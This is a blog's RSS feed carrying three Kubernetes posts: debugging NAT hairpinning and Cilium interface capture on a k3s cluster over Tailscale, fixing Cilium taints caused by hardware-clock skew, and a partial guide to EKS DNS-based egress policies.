<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>zerodaywolf</title><link>https://zerodaywolf.sh/</link><description>Recent content on zerodaywolf</description><language>en-us</language><copyright>This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.</copyright><lastBuildDate>Sun, 16 Jan 2022 18:00:35 +0530</lastBuildDate><atom:link href="https://zerodaywolf.sh/feed.xml" rel="self" type="application/rss+xml"/><item><title>Fixing NAT Hairpinning in k3s with Tailscale</title><link>https://zerodaywolf.sh/debugs/k8s-hairpin-routing-tailscale/</link><pubDate>Fri, 29 May 2026 18:00:00 +0530</pubDate><description>&lt;p>Services in my k3s cluster were painfully slow when accessed over Tailscale. Curling a service took 17s from a tailnet client and 60s from the controlplane.&lt;/p>
&lt;h2 id="problem">problem&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Source&lt;/th>
&lt;th>Time&lt;/th>
&lt;th>Notes&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>tailnet client&lt;/td>
&lt;td>17s&lt;/td>
&lt;td>Via Tailscale tunnel&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>controlplane&lt;/td>
&lt;td>60s&lt;/td>
&lt;td>NAT hairpin: exits and re-enters cluster&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>My setup: k3s cluster with ingress-nginx exposed to the Tailnet via a Tailscale LoadBalancer IP. External-DNS watches Ingress objects and creates A records in PiHole pointing all &lt;code>*.k3s.mydomain.com&lt;/code> hostnames to this IP.&lt;/p>
&lt;h2 id="root-cause">root cause&lt;/h2>
&lt;p>NAT hairpinning caused by DNS.&lt;/p>
&lt;p>In-cluster pods use CoreDNS, which forwards external queries to PiHole (the upstream DNS). PiHole returns &lt;code>100.x.x.x&lt;/code> - the Tailscale LoadBalancer IP. So even traffic originating inside the cluster exits via Tailscale, traverses the tunnel, and re-enters the cluster to hit ingress-nginx.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">broken path (NAT hairpin):
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> pod → 100.x.x.x → tailscale tunnel → back into cluster → ingress-nginx → backend
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">correct path:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> pod → ingress-nginx ClusterIP → backend
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The controlplane was worst at 60s because it had to NAT hairpin through its own Tailscale interface.&lt;/p>
&lt;h2 id="solution">solution&lt;/h2>
&lt;p>Split-horizon DNS using CoreDNS&amp;rsquo;s &lt;code>rewrite&lt;/code> plugin.&lt;/p>
&lt;p>k3s supports a &lt;code>coredns-custom&lt;/code> ConfigMap in &lt;code>kube-system&lt;/code>. Files with &lt;code>.override&lt;/code> extension get injected into the main &lt;code>.:53&lt;/code> server block. I added a rewrite rule that intercepts &lt;code>*.k3s.mydomain.com&lt;/code> queries and resolves them to the ingress-nginx ClusterIP directly - before they ever reach PiHole.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="nt">apiVersion&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">v1&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">kind&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">ConfigMap&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">metadata&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">coredns-custom&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">namespace&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">kube-system&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">data&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">custom-zone.override&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">|&lt;/span>&lt;span class="sd">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="sd"> rewrite stop {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="sd"> name regex (.+)\.k3s\.mydomain\.com ingress-nginx-controller.ingress-nginx.svc.cluster.local
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="sd"> answer name ingress-nginx-controller\.ingress-nginx\.svc\.cluster\.local (.+)\.k3s\.mydomain\.com
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="sd"> }&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="how-it-works">how it works&lt;/h3>
&lt;ol>
&lt;li>Pod queries &lt;code>app.k3s.mydomain.com&lt;/code>&lt;/li>
&lt;li>The &lt;code>rewrite&lt;/code> plugin rewrites the query to &lt;code>ingress-nginx-controller.ingress-nginx.svc.cluster.local&lt;/code>&lt;/li>
&lt;li>The &lt;code>kubernetes&lt;/code> plugin (already in the &lt;code>.:53&lt;/code> block) resolves it to the current ClusterIP&lt;/li>
&lt;li>The &lt;code>answer name&lt;/code> directive rewrites the response back so the client sees &lt;code>app.k3s.mydomain.com&lt;/code>&lt;/li>
&lt;li>The HTTP &lt;code>Host&lt;/code> header is still &lt;code>app.k3s.mydomain.com&lt;/code>, so ingress-nginx routes correctly&lt;/li>
&lt;/ol>
&lt;p>No hardcoded IPs. If the ingress-nginx ClusterIP changes, the kubernetes plugin picks it up automatically.&lt;/p>
&lt;h3 id="why-override-and-not-server">why &lt;code>.override&lt;/code> and not &lt;code>.server&lt;/code>&lt;/h3>
&lt;p>Files with &lt;code>.server&lt;/code> extension create a separate CoreDNS server block. That block doesn&amp;rsquo;t have the &lt;code>kubernetes&lt;/code> plugin, so you&amp;rsquo;d need to either hardcode the ClusterIP (fragile) or &lt;code>forward&lt;/code> queries back to kube-dns (extra hop). &lt;code>.override&lt;/code> injects into the existing block that already has the &lt;code>kubernetes&lt;/code> plugin loaded.&lt;/p>
&lt;h3 id="why-not-the-template-plugin">why not the &lt;code>template&lt;/code> plugin&lt;/h3>
&lt;p>The &lt;code>template&lt;/code> plugin can synthesize DNS responses, but it requires a literal IP address in the config. If the ingress-nginx Service is ever recreated, the ClusterIP changes and the config breaks. The &lt;code>rewrite&lt;/code> approach resolves dynamically.&lt;/p>
&lt;h2 id="verification">verification&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># in-cluster: should return ingress-nginx ClusterIP, not 100.x.x.x&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kubectl run dnstest --rm -it --image&lt;span class="o">=&lt;/span>busybox --restart&lt;span class="o">=&lt;/span>Never -- nslookup app.k3s.mydomain.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># tailnet client: should still return 100.x.x.x&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">dig app.k3s.mydomain.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># latency from controlplane&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">curl -o /dev/null -w &lt;span class="s2">&amp;#34;%{time_total}\n&amp;#34;&lt;/span> -sk https://app.k3s.mydomain.com/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Latency from the controlplane dropped from 60s to 0.003s. The worker node, which doesn&amp;rsquo;t have Tailscale, was already at 0.04s since it couldn&amp;rsquo;t resolve the external hostname and was never affected.&lt;/p>
&lt;p>The tailnet client is still at 17s. The CoreDNS rewrite only fixes in-cluster resolution; external clients still go through the Tailscale tunnel. That turned out to be a second, unrelated problem (see below).&lt;/p>
&lt;h2 id="the-tailnet-client-cilium-eating-tailscale0">the tailnet client: cilium eating tailscale0&lt;/h2>
&lt;p>Fixing the hairpin left the tailnet client untouched at 17s. I initially guessed DERP relay overhead, but that was wrong. Turns out it was my CNI.&lt;/p>
&lt;p>Cilium, when its &lt;code>devices&lt;/code> option is unset, auto-detects &lt;em>every&lt;/em> network interface and attaches its eBPF datapath to it. The agent logs at startup told the whole story:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">kubectl -n kube-system logs ds/cilium -c cilium-agent &lt;span class="p">|&lt;/span> grep &lt;span class="s2">&amp;#34;Devices changed&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">msg=&amp;#34;Devices changed&amp;#34; devices=&amp;#34;[ens18 tailscale0]&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">msg=&amp;#34;Setting IPv4&amp;#34; device=tailscale0 gso_max_size=65536 gro_max_size=65536
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Two things jumped out. Cilium had grabbed &lt;strong>&lt;code>tailscale0&lt;/code>&lt;/strong> alongside the physical NIC &lt;code>ens18&lt;/code>, and was applying &lt;strong>BIG TCP&lt;/strong> to it: &lt;code>gso/gro=65536&lt;/code>, i.e. 64 KB segmentation/receive offload. The Tailscale tunnel has a 1280-byte MTU. Pushing 64 KB offload onto a 1280-MTU interface causes segmentation and PMTU stalls, which explains the multi-second drag.&lt;/p>
&lt;p>One thing worth knowing: &lt;code>kubectl logs ds/cilium&lt;/code> only returns logs from a single pod of the DaemonSet. To check every node I looped over them:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> p in &lt;span class="k">$(&lt;/span>kubectl -n kube-system get pods -l k8s-app&lt;span class="o">=&lt;/span>cilium -o name&lt;span class="k">)&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="k">do&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$p&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span> kubectl -n kube-system logs &lt;span class="nv">$p&lt;/span> -c cilium-agent &lt;span class="p">|&lt;/span> grep &lt;span class="s2">&amp;#34;Devices changed&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Only the node running Tailscale had &lt;code>[ens18 tailscale0]&lt;/code>; the others just showed &lt;code>[ens18]&lt;/code>. The symptom tracked the Tailscale-hosting node exactly.&lt;/p>
&lt;h3 id="solution-1">solution&lt;/h3>
&lt;p>Pin Cilium&amp;rsquo;s datapath to the physical NIC so it never touches &lt;code>tailscale0&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="c"># cilium helm values&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">devices&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">ens18&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Got the interface name straight from the same logs (&lt;code>device=ens18&lt;/code> in the node-address and direct-routing lines), so no shell access needed. Pod traffic still goes through eBPF; only &lt;code>tailscale0&lt;/code> host traffic is left on the native kernel stack. This matches &lt;a href="https://tailscale.com/kb/1236/kubernetes-operator#cilium-in-kube-proxy-replacement-mode">Tailscale&amp;rsquo;s documented Cilium guidance&lt;/a> and &lt;a href="https://github.com/tailscale/tailscale/issues/12393">tailscale/tailscale#12393&lt;/a>.&lt;/p>
&lt;h3 id="the-gotcha-that-cost-me-a-round-trip">the gotcha that cost me a round-trip&lt;/h3>
&lt;p>Setting &lt;code>devices&lt;/code> updates the &lt;code>cilium-config&lt;/code> ConfigMap, but &lt;strong>the running agents don&amp;rsquo;t auto-reload it&lt;/strong>; they read it once at startup. My first attempt looked like nothing changed because the agents had restarted ~2 minutes &lt;em>before&lt;/em> the new config synced. The fix was correct, the agents needed to be reloaded post-fix. Comparing pod start time against ConfigMap update time made it obvious:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">kubectl -n kube-system get cm cilium-config -o &lt;span class="nv">jsonpath&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;{.metadata.managedFields[*].time}&amp;#39;&lt;/span> &lt;span class="c1"># config landed at 18:05&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kubectl -n kube-system get pods -l k8s-app&lt;span class="o">=&lt;/span>cilium -o custom-columns&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;POD:.metadata.name,START:.status.startTime&amp;#39;&lt;/span> &lt;span class="c1"># pods started 18:02&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>A &lt;code>kubectl rollout restart ds/cilium&lt;/code> (briefly disruptive since it&amp;rsquo;s the CNI) made it stick. After that, every node reported &lt;code>devices=[ens18]&lt;/code> and BIG TCP was only applied to &lt;code>ens18&lt;/code>.&lt;/p>
&lt;h3 id="result">result&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Source&lt;/th>
&lt;th>Before&lt;/th>
&lt;th>After&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>tailnet client (3.2 MB asset)&lt;/td>
&lt;td>17s&lt;/td>
&lt;td>0.31s&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>cilium devices&lt;/td>
&lt;td>&lt;code>[ens18 tailscale0]&lt;/code>&lt;/td>
&lt;td>&lt;code>[ens18]&lt;/code>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>~55x improvement, finally in line with in-cluster speeds. Two separate bugs (DNS hairpinning and Cilium grabbing the tunnel interface) wearing the same &amp;ldquo;slow over Tailscale&amp;rdquo; costume.&lt;/p>
&lt;h2 id="rollback">rollback&lt;/h2>
&lt;p>CoreDNS auto-reloads when the ConfigMap changes, so rollback is instant:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">kubectl delete cm coredns-custom -n kube-system
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Cilium Node Taints After k3s Restart Caused by Clock Skew</title><link>https://zerodaywolf.sh/debugs/k8s-cilium-taint-clock-skew/</link><pubDate>Fri, 29 May 2026 12:00:00 +0530</pubDate><description>&lt;p>After restarting k3s, all nodes got stuck with &lt;code>node.cilium.io/agent-not-ready:NoSchedule&lt;/code> taints. Cilium agents were in CrashLoopBackOff, the operator couldn&amp;rsquo;t remove taints, and nothing would schedule.&lt;/p>
&lt;h2 id="problem">problem&lt;/h2>
&lt;p>After a k3s server restart, Cilium agents crashed with &lt;code>Unauthorized&lt;/code> when contacting the API server. The API server logs showed:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">&amp;#34;Unable to authenticate the request&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> err=&amp;#34;[invalid bearer token, service account token is not valid yet]&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&amp;ldquo;not valid yet&amp;rdquo; - the tokens were correctly signed, but timestamped in the future.&lt;/p>
&lt;h2 id="root-cause">root cause&lt;/h2>
&lt;p>The Proxmox host&amp;rsquo;s hardware clock (RTC) had been reset during PSU repairs. It was storing local time (UTC+05:30) while the system was configured to read the RTC as UTC. This created a 5h30m offset on every boot.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">16:30 IST system boots, reads RTC value &amp;#34;11:00&amp;#34; as UTC, thinks it&amp;#39;s 16:30 IST
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">16:30 IST k3s starts, issues service account tokens timestamped at 16:30 IST
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">11:01 IST NTP syncs, clock jumps backward 5h30m to 11:01 IST
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">11:01 IST API server rejects all tokens: &amp;#34;not valid yet&amp;#34; (they say 16:30)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Every pod started before the NTP correction held a future-dated token. Not just Cilium - CoreDNS, metrics-server, and the Cilium operator were all affected.&lt;/p>
&lt;h3 id="why-it-got-stuck">why it got stuck&lt;/h3>
&lt;p>Cilium agents have a 60-second timeout for the initial API server connection. After 60s of rejections, the agent crashes. Kubernetes applies exponential backoff (up to 5 min). Each restart reuses the same pod with the same bad token. Self-recovery takes hours.&lt;/p>
&lt;p>The Cilium operator (not agents) is responsible for removing node taints. The operator also held a bad token, so even after agents recovered, taints stayed:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">&amp;#34;Failed to patch node while removing taint&amp;#34; error=Unauthorized
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="solution">solution&lt;/h2>
&lt;h3 id="immediate-fix">immediate fix&lt;/h3>
&lt;p>Delete all pods holding bad tokens to force fresh ones:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">kubectl delete pod -n kube-system -l k8s-app&lt;span class="o">=&lt;/span>cilium
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kubectl delete pod -n kube-system -l &lt;span class="nv">name&lt;/span>&lt;span class="o">=&lt;/span>cilium-operator
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">kubectl delete pod -n kube-system -l k8s-app&lt;span class="o">=&lt;/span>kube-dns
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>New pods came up within 30 seconds with correctly-timestamped tokens.&lt;/p>
&lt;h3 id="permanent-fix">permanent fix&lt;/h3>
&lt;p>Manually set the correct UTC time in the Proxmox host&amp;rsquo;s BIOS/UEFI. The hardware clock holds the value across reboots. Don&amp;rsquo;t bother with &lt;code>timedatectl&lt;/code>.&lt;/p>
&lt;p>&lt;code>timedatectl set-time&lt;/code> didn&amp;rsquo;t work even on the host. With chrony running, systemd rejects manual time changes, so you&amp;rsquo;d need to &lt;code>timedatectl set-ntp false&lt;/code> first. But even then, it would only fix the running system clock. On the next reboot the host reads the RTC again before NTP corrects anything, and NTP was broken anyway: Tailscale overwrites &lt;code>/etc/resolv.conf&lt;/code>, so chrony couldn&amp;rsquo;t resolve any NTP server hostnames. The BIOS change was the right fix, after which I fixed the Tailscale DNS with &lt;code>--accept-dns=false&lt;/code>.&lt;/p>
&lt;h2 id="debugging-trail">debugging trail&lt;/h2>
&lt;ol>
&lt;li>&lt;strong>Set &lt;code>k8sServiceHost&lt;/code> to bypass ClusterIP&lt;/strong> - didn&amp;rsquo;t help. Cilium connected to the API server directly but still got &lt;code>Unauthorized&lt;/code>. Not a routing problem.&lt;/li>
&lt;li>&lt;strong>Checked RBAC&lt;/strong> - service accounts, ClusterRoleBindings all intact. &lt;code>kubectl&lt;/code> worked fine from the node.&lt;/li>
&lt;li>&lt;strong>Deleted a stuck pod&lt;/strong> - fresh pod came up healthy in 22 seconds. Proved the problem was specific to pods that existed during the restart.&lt;/li>
&lt;li>&lt;strong>Agents healthy but taints persisted&lt;/strong> - discovered the operator (not agents) manages taint removal, and it also held a bad token.&lt;/li>
&lt;li>&lt;strong>Disproved signing key rotation theory&lt;/strong> - both &lt;code>service.key&lt;/code> and &lt;code>service.current.key&lt;/code> had identical md5 hashes. k3s does NOT rotate keys on restart.&lt;/li>
&lt;li>&lt;strong>Found &amp;ldquo;not valid yet&amp;rdquo; in API server logs&lt;/strong> - time-based rejection, not signature-based.&lt;/li>
&lt;li>&lt;strong>Found the clock jump&lt;/strong> - &lt;code>journalctl --boot -u systemd-timesyncd&lt;/code> showed a 5h30m backward jump when NTP synced. 5h30m is exactly UTC+05:30 (IST). The RTC had been storing local time (IST) while the system was reading it as UTC, so every boot added 5h30m to the system clock until NTP corrected it.&lt;/li>
&lt;/ol></description></item><item><title>DNS-Based Egress Control in EKS Using Application Network Policies</title><link>https://zerodaywolf.sh/blog/aws-eks-apn/</link><pubDate>Tue, 16 Dec 2025 01:40:58 +0530</pubDate><description>&lt;p>AWS &lt;a href="https://aws.amazon.com/blogs/containers/enhance-amazon-eks-network-security-posture-with-dns-and-admin-network-policies/">recently upgraded&lt;/a> its EKS network policies to include &lt;strong>Admin Policies&lt;/strong> and &lt;strong>Application Network Policies&lt;/strong>. If you work with EKS, your reaction was probably something like: &lt;em>FINALLY&lt;/em>.&lt;/p>
&lt;p>In this post, we’ll focus on Application Network Policies.&lt;/p>
&lt;h1 id="what-does-it-do">what does it do?&lt;/h1>
&lt;p>Application Network Policies (APN) let you restrict pod egress based on domain names. In simple terms: you explicitly whitelist the domains your pods can talk to, and everything else is blocked.&lt;/p>
&lt;p>If you&amp;rsquo;ve used Calico or Cilium then you probably know what I&amp;rsquo;m talking about. The reason as to &lt;em>why&lt;/em> I&amp;rsquo;m talking about it is that lots of companies go with the default EKS VPC CNI for their production workloads and up until now there was no straightforward way to restrict egress traffic based on domain names. You were limited to the standard L3/L4 network policies. The latest update changes that.&lt;/p>
&lt;h1 id="prerequisites">prerequisites&lt;/h1>
&lt;p>Before you start creating APNs and wonder why nothing works (which happened to me), make sure you have the following:&lt;/p>
&lt;ul>
&lt;li>An EKS cluster with Auto Mode enabled&lt;/li>
&lt;li>kubectl configured with your cluster&lt;/li>
&lt;/ul>
&lt;h3 id="enable-the-network-policy-controller">Enable the Network Policy Controller&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="nt">apiVersion&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">v1&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">kind&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">ConfigMap&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">metadata&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">amazon-vpc-cni&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">namespace&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">kube-system&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">data&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">enable-network-policy-controller&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s2">&amp;#34;true&amp;#34;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Save the above YAML as &lt;code>np-controller.yaml&lt;/code> and apply it with &lt;code>kubectl&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">kubectl apply -f np-controller.yaml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="enable-network-policies-in-the-node-class">Enable Network Policies in the Node Class&lt;/h3>
&lt;p>Update your Node Class configuration to enable network policies.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="nt">apiVersion&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">eks.amazonaws.com/v1&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">kind&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">NodeClass&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">metadata&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">network-policy-enabled&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">spec&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># Enables network policy support&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">networkPolicy&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">DefaultAllow&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># Optional: Enables logging for network policy events&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">networkPolicyEventLogs&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">Enabled&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># Include other Node Class configurations as needed&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Save the YAML as &lt;code>my-nodeclass.yaml&lt;/code> and apply it:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">kubectl apply -f my-nodeclass.yaml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Make sure your &lt;code>NodePool&lt;/code> config references your &lt;code>NodeClass&lt;/code>.&lt;/p>
&lt;h1 id="applying-the-network-policies">applying the Network Policies&lt;/h1>
&lt;p>You apply an &lt;code>ApplicationNetworkPolicy&lt;/code> with the domains (FQDNs) you want your pods to be able to talk to, and everything else is blocked, including DNS.&lt;/p>
